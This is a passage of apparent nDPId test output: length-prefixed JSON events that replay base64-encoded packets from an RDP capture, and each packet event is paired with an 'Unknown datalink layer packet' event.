packet","thread_id":0,"packet_id":1734,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1735,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":716780,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjJkAAfwYlL8CoAo6sEAK5DT3NDkehHEf5vSCWUBj26qftAAA2ksA8dCPmgeKg4W5H5ofUSn1i+rvEAgWqF3OmCApIseKyVIfwUvNRNsOafZbt0opKOLSje1Kx75Qb2C7NH6JwitGADON5X71xpBwD+vS\/65RIKDCXu4WpYnu\/vYuje17HWzgpIO\/E9dBa+pc0OX7ovIFB2XXnThgOVscm+5IC0Js4hOrk6JgICdGa4ns6REP0cuGk9jC+ug6EQ6\/f9dXasjthLOvPlXRAdR6V9z0rViBBBWkfKQHp3awsAUUd3xvco0p4wxLqUsUEjPs9B90wVkhZKY3WxcCjZvATaEHa9T+EzW0lI1GqCvovCw4WXL91Ge9bz97x3XFDPCSwLeDLQbiz7ZOov+rcGmhEboQXvzWLEcBrZQKuFcGHLXQ41jk\/WPuFCooJEtUI+GXMWqpD\/7Vkvt23Tv7WeguQThEevOWQB9vnmzmxLBwafywlAu6SCOMPNQqHy0o6imY0UpzcwsNbL\/lqvN+wX5NIEj8CdDaXZdnW7R8x4qKt"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1735,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1736,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":716843,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9INNHoRxHUBggAGeaAAAXAwMAMOAIO32NJww1PtWHDdoLwso7I8BLkg5c2QosZ3wu491GE7pxqmw0X+4oKv1B8lZMAw=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1736,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1737,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":716950,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IQhHoR3CUBAf9MNrAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1737,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1738,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717060,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjJ0AAfwYhsMCoAo6sEAK5DT3NDkehHcL5vSCWUBD26sB6AAAXAwMGbwAAAAAAAAI16XJIE9j+oX9XP1sBGZB397lUbu16HxfHUhwdhTTW5nvp5Dss7AeO6Dk+L7ksv3A5AgCQBt07bS5fZ4CBQfFgtOwanYctofqqx7FMzXNGmzpvFC46U+IhFcXuDPwZAe5d9CpwSr0Eb\/Wnzf+Os1UKblrQeR3rNFcrEOlW33zDSsLZqDG4R\/5W7T3ZVwH0X5jb73OKccceozlOZulZ81XkTq+YN\/XjNJzlWrfR\/khDuB7iJmUBryjMF8u2KLwTbPFIiWeQCShtV++P7zY\/IYXTchm82QrNsmcNBe\/WmXgVd5so5\/KWz3wIRSxu0QC9Zj8lUCpBS\/kwRmuIWfDpH79BDJEMqE1t2P+GeeDL3KYakTxuUfaotLAf\/oc9qepmbOY\/c7FM+V+BI4GwDDGLDLQAb9IlF9yG6nL8F1ZC516oUScZAkfc0SDz2+E60+4XJt8wP2es5uGiDWf7zEw0fhMTujJ5eR9jNQx2G3yZG747uplphKLPGUEzr4Cy4gTcTXWgZ1+fE2Y7rkEpUOPWOGGggwV\/QvWgtkcIZn6+0WxyeBi3CDL\/QpK5Bt30s\/lIwUYlH7X87lWKp9hm\/F1LJ38ENrLKbRlZPZzC+wHVNRQIjOgTbSCho6WWrdv1gG1c8XluKjaKfyszQ\/+96Qn0XhZa+oxA2XGu4uYsphNXGOQwAEEMKasn\/GSBYWkzx4EAciLHYgWHsBlF4dmq6pTXv+c3O0UmFCKqfAM5M7e7iJ8ExRyI97LhDYUgqB5s8D1k4kBabhkOr3x9EhdwzB5ReTXIAJEXfu+IBEG0ITR70J26WW8hToWEkP4Hie5HRv8GTSISvxKuMWJ\/blnzyw5kgLvvbJt\/HlYK+Ms7suxA7cS+NPktxvtpmZKUMhjZEz4tJbdPYvcVU3CAUePPvrXwxrUdvAliECU58cf+uoeQDp+vR8\/z+CgYyDPU2U1mLx8Wh1XWhV6nmViEugBXZDA4tvmRaZ4xOcqOG9lTAoE8hdtyNZoe3ABPKKvCsDLyukrQl05M5S89UCF1aOigsm3oqNwd3GuNxC72hkq3whebEZy4Jzdp\/60kuMddFKb+bm2Mm9lWYrC4v7n4bbuEg+z4uYVz5mWx3bTakCcu32cUcwAd1cnv5mRvebR9mTuK7Kd0CbjSYmDpbFlKu\/Wf6bYdkawrzeSwYRADw+eSZiE7jEdd0FKs1PCAl5b7ZF7oM291LeK3m1IIcXlRFot\/3fR0QhVc1+4SRqp4HLNa+9521PnHGGKWH+MFqgQxB8d0iiZMaE8bdJVLBjy4FU+N\/TnGjFFm0UdIOh6UDbDuBLszVrPtWpK8FPzjWIXheCHlPIEJRdHedM5gn7NYnBnf7xe+xwRqpQnG5e1r+f8r+olFQ\/KnigpJrITW2jEogN\/iPW2ew0G+FMQyN7gSAEUJ6XdIxl9vmwfiTN1+kJ0H+7PvKKVtHRK\/QUVH7IyC8gvvLtIY6ixa0ZoA9Z1OFgo\/tmzOiJULmkYSU2K0SF2ni4sjDqXCkeX8RqBcQhaYzTLeudA+HO6DU66CuE3kr28\/eqwVDWtv3cUZjt7XOh7zqUOJ\/UuOdE7l8Z5BhL2a7QLNsdGpjAEN1jFZK8Ev\/1ySWOR52Q\/B+BGloN9cw05VIVpRqLZ9gnzj0qM7OdAUNxmfpeKiikSq3Nk+\/LJ2Iv8vZUet"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1738,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1739,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717094,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjKEAAfwYlLcCoAo6sEAK5DT3NDkehIrv5vSCWUBj26leyAACA\/Gy5OmRZMCNti\/35jYfGBRlRAXi61djnVAqCiUzU6bc5YKuVxu6L12JwfOMoQLn5NOoWOYqVK+P9gOOorEJtjDUYpjYd\/NuMf8uzxx7EM4ykwx055M7rmoH\/qN4DZNgqBsdm97Drq8A0XNqOWAmK1dJAzASwDjvUufbyT80kBZSPcKS4CAJe0ltDIbTGJE9yZ+lHzbSTgGy\/IbLwaHzHb7R6CC2R1A\/B92OgGE\/UauADIIoeTnZbNgvlWUi1Wz0c0vDQpyRhYbO8sAumjbrd37tVoXUrgfpBsbQrVmYgGSc1Oj1sKK8voL+EQ5KR9WV3yO9Xx6ZUwN0NlPlo0I3asnfhyUs4xKiDS2xsMc96qrhUGuoIqqDn2FMNIJMd2EIT+uNu3cSFnhAhKvQDHFEkq2YmWi4lL0c5IAirssrQB3mEWkf8P1q9uF8D8oBW3q0gwRiy0sbXzUvk\/SD1FmVgD+Y6DAA84B\/8xAbmvqDeq0td8LNFFLIw2e8l"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1739,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1740,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717119,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IQhHoSQ2UBAf9Lz3AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1740,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1741,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717259,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jKUAAfwYmcsCoAo6sEAK5DT3NDkehJDb5vSCWUBj26vWIAAAXAwMAMAAAAAAAAAI2M\/6VAEcZDuIBvFHc+Sg9n9Dt1\/iI0GamygMehuKYAumeyW9rV54x2Q=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1741,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1742,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717316,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IQhHoSRrUBAf\/ry4AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1742,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1743,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717401,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1jKkAAfwYmccCoAo6sEAK5DT3NDkehJGv5vSCWUBj26jYeAAAXAwMAMAAAAAAAAAI3E9N8DBvxTlHRr5YbVl0j5f6F1T1JaHDoFr5Ikj81PP1Etweh7OZeKA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1743,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1744,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717439,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IQhHoSSgUBAf\/ryDAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1744,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1745,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717576,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9IQhHoSSgUBggAHAZAAAXAwMAOOAIO32NJww2GeR0C\/253OKlkW\/ONV2GRbd8Kz3VMCufp5fpO3JtH0xvo3ZfOV4620S1TNSvaJBB"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1745,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1746,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717686,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjK0AAfwYhrMCoAo6sEAK5DT3NDkehJKD5vSCWUBD26jmxAAAXAwMGbwAAAAAAAAI4iZWs2+5pt+7ezF4snt1De8H7EHiJ07GFXlek9yoAqPF0FQDp+vp2T7p9OuGkIIE9prduMyBWqiO7Q+kmrqeDwGENEKtjIrKB4HrRNql1q3xSRCjFSFT6rvEQ32U2Uhdbew6kWDyiSFCCeHZ+YavdPjsHWdtnsWeV3tGy0KJWzWPxDm1RWe8cPAmAJt7AIa1rQCFApfd8fEl92SIKntlVvqsAtdCQM+iTgsAX7745PZ2g489CDuJW7DU7J2hX7vpWJ7AhKEZ8cDVUeLY+WRp4GsBWxgBmqiAuFQA1fi2wETl50+rizswV3e1SSH6Dg\/qxJX\/4T2yqeuIZkWS4leUhrrBrH8cuAffWSTpt+qgvwMHcbSb856n81Ie8XoC9lh6XoWq8XYPSV3SYhLe\/+c5MxE8I4e9FJfTrxhXeA7V4HYe\/6dUSiPQWzI\/SfgdR+9s5RlalYZFpGs\/s0h\/9IT3muwC2waZ\/56RfvuOt0EppNKAYg7eJA6Qp\/TiQK6lC+arG4R4wM5RrgmEA4m8KavkzZ5xkWiUtQbrkL8k+il3p598y9v7VVypDwMuSucXt1wxLPAH\/Qk0ADs7jdwBpqBDk4I07xraqH23gXfwDxBQL4IyGaIaW1hSPS4ebnt+vxa5cHMxvFpzpylUGr0MeSfCfyfeHXXqTnBHF2ned1b6\/BHAtiFtDHUiayzeuS\/U6yuXvg3Fp9FM6MumSNWzMIg7klzkmMlwk5F3p\/s+MFEMBQoOGpZCNMZMvyOzsj8oNdeOPsFkAMXOmNZX6exopr1DWBc5IAITR7wNXNE8KH+9mywPnMDsFxMTyRoHLgGGLkPkpJle4lEAE9tgKHnRLsXbODorWdNrRHGLqm0jDl7Deg4zrf1RclY+CD+fqFR9kjUl2eeI+FNzEsQmBzT+oiDd45daMuTpFHkpluGj2j79hznlI5AwjYdYUJUoMc65r2dyhx43q5D1oTvRLN9UzdUeGJ1LIamb9dJErU3ikafafklghlOUCTwfbvb6vZO+Rc9Hht4aY0d4OHhwBNoH2WSw8OiI9qred\/HTug+g9Xj59kuWqlvaHPxxMPpg3BOPZEFNhzbnwCtES6wy6KxASoE7s54xskFMjrd3DQh82AyeuR\/HlJWggNKMuk3vL1WJYfxPUP13R7sxqBe2LFxxWPATul0mi3cJoDWzH8Drr1ZIyl+TyCRUNq903yCx+1Cm59U6yEjvEi76XdLBXITflttW+tw4wHLeiLdpgbKsC4WoBEfZDn7KFuovO1Vgeo0xcCiTRUYZlt1Kd2cbgPt5MnywTZbfdgKI\/jHnV4Ar1ar5MMGmooDc5narGvsgtS7m+Ss7o1LOKTTgKDD9I7uBT15ON9qCuuul2z1aycgvl1IugQDZd3dG8eMeTokEsRrrFjLZacv16eLI2enj2kjkafx7xGyXyKiWNlxfhd1z1hGJZ0rE6wOoeXbizpT\/+tU6ZxwNzdoR2y8xXUh5l\/sjkP8mvaXQYLlDcvG6rMw\/5y74Fwn1DUwUlFG8ONIqWcfQwjgmDdPJLMEu0uALmGZRgUVjBkP5WdA\/a83LlpxHRtb8pi52Mp+FuW9MM4TEvuHZAC5iLfxLHNDziMMQVFrWleF5Foe3kd7vKq2wzrO\/fTpRU04x8\/ImlpLoq68YyDCTHC\/ZyXOPZJyr3kYgUgzRJ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1746,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1747,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717717,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjLEAAfwYlKcCoAo6sEAK5DT3NDkehKZn5vSCWUBj26uBOAACBpE7GnzDfLqX1mDz5v50UNxJO4ioBzqGj2DB5XsSdprxHnz6jYQn6TjiOg6J\/4HyNHTDmEXTBzdo\/A1eeY5Aakt\/fbJPoGVzLhxZezAYqPljukoE6CaztOtVhLIPPDzPzCVcxhzfKiA+qyW8Z8nZDEmbPe6rFgf5UKUIhp3jP2FuJcxpn01WNPmP29nAr1UqJ7zmcuoyJrwqDMKXimZM6PSctZ44D5KA1qneRdk0w0iWU8jpLLkGogV75NpBQafYi\/M6JAiJk1OjXo0TKOsQERoHobpqa+DpBp7HXWrwMOu5JDPgoS9V2\/z2kxGRpJfWxv4uIwdffnCmhpa14aT0M2sgc+OvcSYV1nGxy5LWiEwIW79X6dR6AMNFB23JyDizjoH205YxGAHZVD2Rv80ApxvP9y539vda944Dw2YgWzsXF5Yd4mQ3pP2oglVg7q9aLT1bCqDUV3dmJT3hoCjyuJQ4yqAcq6KNaQ67Z9snbNnjRi\/R6K9nzhuGa"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1747,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1748,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717747,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IUVHoSsUUBAf9LXcAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1748,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02084{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1749,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717959,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjLUAAfwYhqsCoAo6sEAK5DT3NDkehKxT5vSCWUBD26ghHAAAXAwMGbwAAAAAAAAI5217HOzZdwzRdDuevsm6hHbAgASutI8\/zOzI+JVCy+U\/f6cZ6L5NMLIf442h6F7aPw4sdP2316bGiUnOet0WKwJ5t\/EyQqEkNp\/nw0RH+FcHV77lcqtQpMz8WmFEUjFsZqIhkwijqgbQO93VE4jfu9\/p3lC8WUBDtBu8tKxy1wZGPef1DtBV0FVkh4zU5pDfnAMjr3o0l\/Npu+g6UtmrDD0BVrK2tjQc04gX+hQ0Td0fazhqlVQxfFt6\/DTfShmEcTXjPxu32L19a9H1VFQMS1ZamRTqCpoxqEPctJtRZaQd8p1Et3R3Z4MosqC+0DRsRTYpXzkZldLiyWpQF+TYo1IUSerTP3L8SNt0OcQo\/8yB6jYbRtwPaDZc5XoP8YJjwrwoqFr79Jvv+blVsgFqoSmGYAC5BERRlDbqrvjn5g++m7chfkQBPkNFe2Jeudy2MqyCCyXsrduxngGjQjXlUMzubUMpziwPQB2kUp62fRCZfkNezFQUmkmFBCJ67XmetszBA3xw00c4UaRoC6EYq23fPThM+QwhJGfhKkY5kuQx9lKjL4MXplbExgjl2T3iEWoZgzph2qq5dw6J4O7pwV9kSjYA9fQEanOSlwAy9sCkyp+ZFBPSDFDHpvawIvQ2MNi7928pomJYKI0VuRGZ20bKK3LeqttBcYAgW1OInPM5GN\/rZw32clFP5azvXLbJajena\/WKI\/AX08MlimwoL2rzyDgLJXfySfqnKXVOEuEc1NNiC6eg9nbLEpPjI1Yaru0flvlrVad5eoWCOphEoHkAJfrglFmAwzHXyFE+MLDOQm4sGPVNJ\/MYU8vC117NnORX13EcjQ3qH\/JktD28mEQjszwZiYWtge7BCB1HpVEbfeOeOHaj\/tJ0o6e\/4FCF3sU2Yj1KTXCWb26tQQd+3z7qB8GziOwszH7gs4RI4CmhVTx10Do7\/DB+S4WGFIR+CxdTs9BodQnLbbmsEOCt80c2rndSXsoHktPxEXiE+I9pPGJD4\/fKLFwg8Ny\/iLT\/iooY1Br+aTBozH0gfXSbjvY7oda3ALyC2Pl3eIAZX3reXBlTlOp33o++MWctkqzRmQc+tyVnOC75LKqoX26DO0nUfW1LKeQ\/Ysyq82Wvkzf\/PHMfjur56NVEj+B6WsEgdQNBNfzIJEqthCLYcY1l7DwCcdLYEg2zFcQev2RTNrGeSzpCnIHN5sA1yuvMfRcpnWCO4vWc4PPtp34sjx4FjjaNAqXHkexhsm9zPPSZJGvDSJSkiU3G2SXFPboUQgPRBlW8xHoSPJJ5iMTivjrEV+ujwRstJ0XgWmr3TTfKv5++t7XzXwV2uh\/xwnU23ZbqzLYjUD\/\/r2wPW0JkNoMwk6B0EItZz804+oqa4MSxMX8upg6zq8yEfARXIEyq8iPsHcnEzCg62LqlhJm0\/IWm3vVZv911U1nUmcsMrmcEtXNErhZcmFC6q9j\/SK++O+Rf97wna6i1M3yn\/4Eld\/\/ygL1gpA969IUZ+sCygDaXJ0cMBIDu4h3aMmVBjymLw2394OLEXebL7vOcl8iRu\/7WIM76UktOT2zEsDU31OoYODdY1qL\/Bv8a7F7d+bzkZFupBROz8ntrrZCbLQzTpge3X42xiY85BqP\/WNavPJ7Vun4W8Y+hUk8IVzXW\/gXK0dFl4m02LfeadnMaugZw+"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1749,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1750,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":717988,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNjLkAAfwYlJ8CoAo6sEAK5DT3NDkehMA35vSCWUBj26kjZAABp7nLfnH6zLtXmjzuviFBbT5XCNdOv\/dwxqZio2GOHmKxNgY3nwlSF9vigc1AbQUTpHinaTNZU2CH0HwtK47wJssYGGqho6mLbMQiAGGrsXN1Z4zAmc8PyTWPBLPVDllWVYyUQ6lUCwD640FfI4X32\/E4Ornzvf6d\/7NY+eQvxqcT4WVFZN36ULayJKc6TXOUQdXsTB4DzzhEwGLe16PmxOLy57HdKPh+sB78g+LZeIZgYaSwKLsXz7385Cb6yeli5BxrGROgdpnSOv1ut1CJ9UYCO2QHSO6I1zxtXurXMrM9cS6vkooF5yWV10ZYHgVc89Hu0+BJvzrMwiiEJWWJUyDGGU7RJzHKWYKAcO22CDfCNBPq\/HyUuLQBkBHg0pQqQ\/On84OBFR+ivWH9TK0Xpf\/Y8\/S65w30SmNWEm4B3IV2EsUHH3dRRLYY8nr+F3YiRNsgRfMF85+bC7BBlOu\/AmcoswMGXz7a7z6EaJNJFw8MKifZpRl8hwR7n"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1750,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1751,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718022,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9IUVHoTGIUBAfzK+QAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1751,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02078{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1752,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":718202,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFjL0AAfwYhqMCoAo6sEAK5DT3NDkehMYj5vSCWUBD26mZUAAAXAwMGbwAAAAAAAAI6ZgGhjLOYXuLLUh\/gOaT0Cz9LZT4WNK+9Mv87kCqds+iKFFtgXvBKL+QhD5Q6pYr1p2vdkk4RSMaekmj25X4Y5Jpb6sezQcKi49qmOvMGCwV7ZekB7gEJnEVLplxFyoPoNGEwkTNXKCqXgy7jg2AeY24sALk\/zasrWqNdj61hu5drKUGlJlsxNTKBDhsAXa8mLK9URYVDnw04gzzcp1p+qoY1R9+jfGrX88CK8WHJ0wPrCgZubKBUP6gaQDU\/TlpF0mZlDHk2xn9Y6C22D\/DhcHlk9\/vk3f8qrbUGQqDcwvt4gV1667nEmxigz0Q1sDey0dQxoXKzzSbzR6\/xAjzWh89YCwkVKq5br813q4vMpyEuvEECpHX1zM4FeIL5BA0DJS5VrCz3VTlyi\/xY3V6To10GFCCUFZxi1o3wgj40XJz8ll+\/BREi6odOa8wchZAw1BUv2OUjJjeUMX1XtS+W+suvH2MkjeSTcuQ97szM4rSl92SiPgrY3wz288MlDe673ewFhxrYCtJft321YaAHj0hx2bQCtjg+BofOroqz2XS4GV+K87+EyLJmOc7Uph68ZkQvHxdzmTzwA8Ty6zuLBRMDSHtl6vFuL5IO1tLGbIMAGxXVlRJc6RgIhVnkDfXej\/Le8HHpfjzbPb3to9lDb9Cu5W+KjIL2vjXxS1GKVOXJx3+Io\/Om8OREmw6AeIYarIm5IfGHmO5oNgH2vkhtPGuNwmdYWNjSYq3Q\/\/fbKHKoLsmPekIHavBVniY0Za1zvgTh3b9+Jeinq5I8DIr3C9De4V86q5Z9Wowb7r5ky6wCximoPir79thImMJvufWu2a89UqKou7u415n\/FVxTdUTfBuaTU7fqWHw5Y9E2fe3iQAK\/4aibEnGZvNnGby8risTv\/KfSFln6jejs1bvF9qS+EvdjLWh6TOqEBk9O+OHWAEuaTVjVu2WRDrCib2vVwRfMNLuMIBuz\/PWIJ+W15M18B4eQIVRqAiazHG8aYp9oMxs3HQ8DvTdvRFB04nncm9hvp1fn6aEoKZ8NgJPtx2CYH1XexbY59W3OFrfcqjZ5L5M3X8mHqqlsiGonyXA9qk7IVN+ldb4jPgB3Iq5s6UhymoOtir0KxI8\/IAUQ4iY0ORrV2lVKoXdSgTi0si6wCMV\/DecWQ+Gyt5ktjmjltGENaXHGC0tTi4X9\/KPWabA6yxZlXTLelkBLGKPC1e2LIQCRJqaLJkEuSi2fmyp0PchzGmwworBRRYQmrj73psPmW5\/1azft1ZyDwlED7zlGN5xx8exknOwYoMnsJxrGnXCnOlktGFrFCvJ6dRb6UcrUGO3rqiwiViKOkDwbCExtTta6tSnlPmHs7vsyl\/Slz1561C61tnvnMu\/hK8gsZaeDpT20GgmI4Zj7PZwFEt3lFTEjw6\/5OmBvPAauhqW9grWoHMoK1LLm7Zl4rg2PaAZd4mUWlSP8Z3XqbwDj\/Hr2EfIBekJiIthXjUNXWEfVoqdivUoAHDhr6detjlkWna38oOVTYE6PGdPx0wEYirKZnppgbqHd5AxyzOT1fjGA8DYnin\/9wx4+dZQfqBHjT0nmGWCBPEi5hpNJPPZuJCkBpndaeC3\/gZhqNW0L91dsMENT\/loydifenw65LnN2jn327O7QEkb6+vbDiobewfU9DX7tI20bSv4N8Fzh"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1752,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 